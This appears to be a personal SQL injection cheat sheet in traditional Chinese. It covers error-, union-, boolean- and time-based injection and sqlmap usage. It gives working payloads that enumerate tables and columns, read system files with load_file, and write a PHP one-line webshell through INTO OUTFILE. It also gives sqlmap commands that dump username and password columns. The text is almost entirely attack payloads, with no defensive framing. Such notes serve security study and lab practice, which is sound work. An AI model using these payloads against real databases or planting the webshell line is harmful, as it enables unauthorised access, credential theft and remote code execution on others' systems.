Recovery
1 正常
1’ (1")報錯(有注入)
1’ or '1'='1 正常(字符型注入)
1 or 1=1 正常(數(shù)值型注入)
1’ order by n (爆字段數(shù))
*聯(lián)合查詢union左右兩邊查詢的列數(shù)要一致
x’ union select user(),database() -- 正常(union聯(lián)合查詢,全可出)
x’ union select 1,table_name from information_schema.tables where table_schema = 'DATABASE' -- (爆表名)
x’ union select 1,column_name from information_schema.columns where table_name='TABLENAME' -- (爆列名)
x' union select 1,load_file('(eg.)C:\\Windows\\win.ini') -- (系統(tǒng)文件)
x' union select 'x','asad' into outfile 'xx' -- (出異常,爆路徑)
x' union select "webshell","<?php eval($_GET['cmd']);?>" into outfile "PATH.FILENAME.php" -- (寫入一句話木馬)
Blind
Boolean(只有真和假兩種狀態(tài))
一.正常操作,得到真和假兩種狀態(tài).
二.真 AND 假 (若得到'假'則存在注入)
eg.
1 and 1=2 (數(shù)值型)
1' and '1'='2
1" and "1"="2 (字符型)
length(str) #獲取字符串長度
eg.
length('test')=4
1' and length(database())>1 --
(True) (True or False if True Then True else False)
substr(expression,start,length)
= mid(expression,start,length)
#獲取子字符串
ascii(string)
=ord(string)
#獲取第一個字符的ascii數(shù)值,單字符的ascii范圍是0-127
eg.
1' and ascii(substr(database(),1,1))>64 --
Time-based
if(expr1,expr2,expr3)#判斷expr1,若真則返回expr2,假則返回expr3
sleep(N)#休眠N秒
eg.
1' and sleep(if(length(database())=4,5,0)) --
benchmark(count,expr) #重復(fù)計算count次expr
eg.
1' and benchmark(if(length(database())=4,5000000,0),md5('test'))
cast(expression as data_type)#數(shù)據(jù)類型轉(zhuǎn)換(表達式 as 新數(shù)據(jù)類型)
eg.
cast(database() as char)
isnull(expr1,expr2)#若expr1為null則返回expr2,否則返回expr1
eg.
ord(mid(isnull(cast(database() as char),0x20),1,1))>64
sqlmap
sqlmap -u "url" --data(POST) "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"
#-v 1-6 (show detail)[6 for most detail]
--current-user
--current-db
-D DATABASE --tables
-D DATABASE -T TABLENAME --column
-D DATABASE -T TABLENAME -C "(eg.)USERNAME,PASSWORD" --dump
Second page
sqlmap -u "url (in which you input)" --second-url "url (on which you see the result)" -- data(POST) "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"
When parameter in cookie
--level 2#para>=2
